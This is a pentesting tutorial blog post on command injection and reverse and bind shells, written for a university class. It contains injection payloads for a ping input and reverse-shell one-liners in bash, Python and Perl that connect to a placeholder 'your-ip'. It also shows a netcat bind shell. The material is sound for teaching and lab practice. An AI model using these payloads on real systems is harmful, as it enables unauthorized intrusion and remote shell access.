> ## Content Index > Fetch the complete content index at: https://niklas-heringer.com/llms.txt > Use this file to discover other available public pages before exploring further. # Pentesting 101 – Command Injection & Shell Tricks (Session 1 – Part 2) - URL: https://niklas-heringer.com/penetration-testing/session-one-part-two-command-injection/ - Published: 2025-03-29T06:55:00.000Z - Updated: 2025-11-19T19:29:17.000Z - Description: After exploring XSS in Part 1, we now dive into server-side command injection, shell behavior, piping, and classic reverse shell tactics. - Author: Niklas Heringer - Tags: university, command-injection, reverse-shell, shell, penetration-testing # Intro: From XSS to Command Injection In [**Part 1**](https://niklas-heringer.com/penetration-testing/session-one-part-one-reflected-xss/) from our first uni class, we looked at **reflected XSS**, a **client-side injection vulnerability**. This time, we shift our focus to the server-side world — where insecure input handling can lead to total system compromise. **Command Injection** happens when user input is unsafely interpolated into shell commands — and suddenly, the server is doing a lot more than it should. --- # What Is Command Injection? Imagine a web app that runs: ```bash ping -c1 [user_input] ``` If that input isn’t properly sanitized, you can inject shell characters like `;`, `&&`, or `` ` ``to **chain new commands**. ## Examples: ```bash 127.0.0.1; id 127.0.0.1 && whoami 127.0.0.1 | uname -a 127.0.0.1 $(ls) 127.0.0.1 `ls` ``` 💡 Each of these ****abuses** how Linux shells parse input and interpret operators. --- # Common Shell Operators (Quick Overview) - **`;`**: Runs the next command regardless of success. - **`&&`**: Runs the next command **only if the previous one succeeds**. - **`||`**: Runs the next command **only if the previous one fails**. - **`` `cmd` ``**or `**$(cmd)**`: Runs the output of `cmd` inline. - **`|`**: Pipes the output of one command into another. - **`&`**: Runs the command in the background. - **`2>&1`**: Redirects stderr (2) to stdout (1). 💡 Use `127.1` instead of `127.0.0.1` — it’s shorter, but resolves to the same localhost address. --- # Command Redirection & Piping A common test payload is: ```bash 127.0.0.1; id ``` But you can chain that with: ```bash 127.1; ls -la | grep config 127.1; whoami 2>&1 ``` `2>&1` is a classic redirect — it merges error output (stderr) into standard output (stdout), making sure you **see everything** in one stream. Learn more: [GeeksForGeeks – Piping in Unix/Linux](https://www.geeksforgeeks.org/piping-in-unix-or-linux/?ref=niklas-heringer.com) --- # Command Injection in Practice You’ll often find these issues in: - `system()`, `popen()`, `exec()` in PHP, Python, Bash scripts - Legacy CGI scripts - URL query strings like `?host=127.1;id` On labs like DVWA, it’s often enough to inject something like: ``` 127.0.0.1; uname -a ``` Try different operators and command lengths — some filters block semicolons, others miss backticks or `$()`. --- # Shells, Reverse Shells & Execution Flow Once you’ve confirmed **command execution** on a target system (like via command injection), the next step is often trying to escalate that access into a **fully interactive shell**. This is where **reverse shells** and **bind shells** come in — they let you break out of limited command execution and actually interact with the system like a logged-in user. ## What Is a Reverse Shell? A **reverse shell** is when the **target system connects back to you**, the attacker, and gives you a shell. This is super common in real-world pentesting because **outbound traffic is usually allowed**, while inbound traffic (like with bind shells) often gets blocked by firewalls. ### Typical Reverse Shell Flow: **Victim** executes a payload like: ```bash bash -i >& /dev/tcp/your-ip/4444 0>&1 ``` **Attacker (you)** prepares a listener on your machine: ```bash nc -nlvp 4444 ``` --- ## Useful Reverse Shell Variants If `bash` isn't available, try these instead: ### Python ```bash python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("your-ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh"])' ``` ### Perl ```bash perl -e 'use Socket;$i="your-ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ### Other tools - `socat` - `openssl` - `awk` - `busybox` > Need help generating a payload? > Use: [RevShells.com](https://www.revshells.com/?ref=niklas-heringer.com) ## What Is a Bind Shell? A **bind shell** is the opposite: the **victim machine opens a port and listens** for a connection. You (the attacker) then connect to that open port and get shell access. ### Example: **Victim runs:** ```bash nc -nlvp 4444 -e /bin/sh ``` **Attacker connects:** ```bash nc target-ip 4444 ``` ⚠Problem: Most firewalls block incoming connections — so this is less reliable in real-world networks. --- ## Reverse Shell vs Bind Shell – Quick Comparison | Feature | Reverse Shell | Bind Shell | | ------------------------- | --------------------------- | --------------------------- | | Who connects? | Victim connects to attacker | Attacker connects to victim | | Better for NAT/Firewalls? | Yes | Usually blocked | | Stealthier? | Yes (outbound) | No (open listener) | | Common in the wild? | Very | Rare | > In modern networks, **reverse shells are almost always preferred** — outbound connections look like normal traffic and are far more likely to succeed. ## But Wait… How Do You Know If You Have a Shell? If the reverse shell worked correctly, you should see something like: ```bash connection received on 192.168.x.x whoami www-data ``` Congrats — you’re inside. But often it’s **not a fully interactive shell** (e.g. arrow keys don't work, no clear screen). That’s where **shell stabilization** comes in… but we’ll cover that in a future post. --- ## More Resources - [Reverse Shell Cheatsheet (Swissky)](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/?ref=niklas-heringer.com#summary) - [RevShell Generator](https://www.revshells.com/?ref=niklas-heringer.com) - [GeeksforGeeks – Bind vs Reverse Shell](https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/?ref=niklas-heringer.com) --- 😈 This is where things really start to feel like hacking hihi. > *(Though let’s be honest — calling it “hacking” still feels like we’re in a 90s movie.)* --- # Quick Netcat Command Recap | Command | Purpose | | | --------------------- | ----------------------------------------- | ------------------------ | | nc -nlvp PORT | Listen on a port (Reverse Shell) | | | nc IP PORT | Connect to victim’s port (for Bind Shell) | | | nc IP PORT -e /bin/sh | Send a shell upon connection | | | \`nc -nlvp 4444 | tee /tmp/log\` | Log everything to a file | > ⚠Netcat is **unencrypted** — no TLS, no protection. Use in isolated labs. --- # Tools & Extras ## RevShell Generator Great tool for crafting reverse shell payloads in different languages: [https://www.revshells.com](https://www.revshells.com/?ref=niklas-heringer.com) ## Shell Stabilization (Coming Soon) Got a raw shell? We'll talk about `python -c 'pty.spawn("/bin/bash")'`, `stty`, and more in the next write-up. --- # Final Tip: Injection Meets Bandit I’ll be exploring **command execution with** [**OverTheWire: Bandit**](https://overthewire.org/wargames/bandit/?ref=niklas-heringer.com) soon, perfect to sharpen scripting skills and understand shell environments more deeply. Also: Watch out for client-side limitations like input length, encoding, or blocked characters. Use **Burp Suite's request interception** to bypass and test real input. ## Up Next - Shell stabilization & pseudo-terminals - Practical command injection on DVWA and Bandit - Local privilege escalation after shell access If you're new to command injection or unsure when to use `;` vs `|`, you’re not alone — this is where most red team journeys **begin**.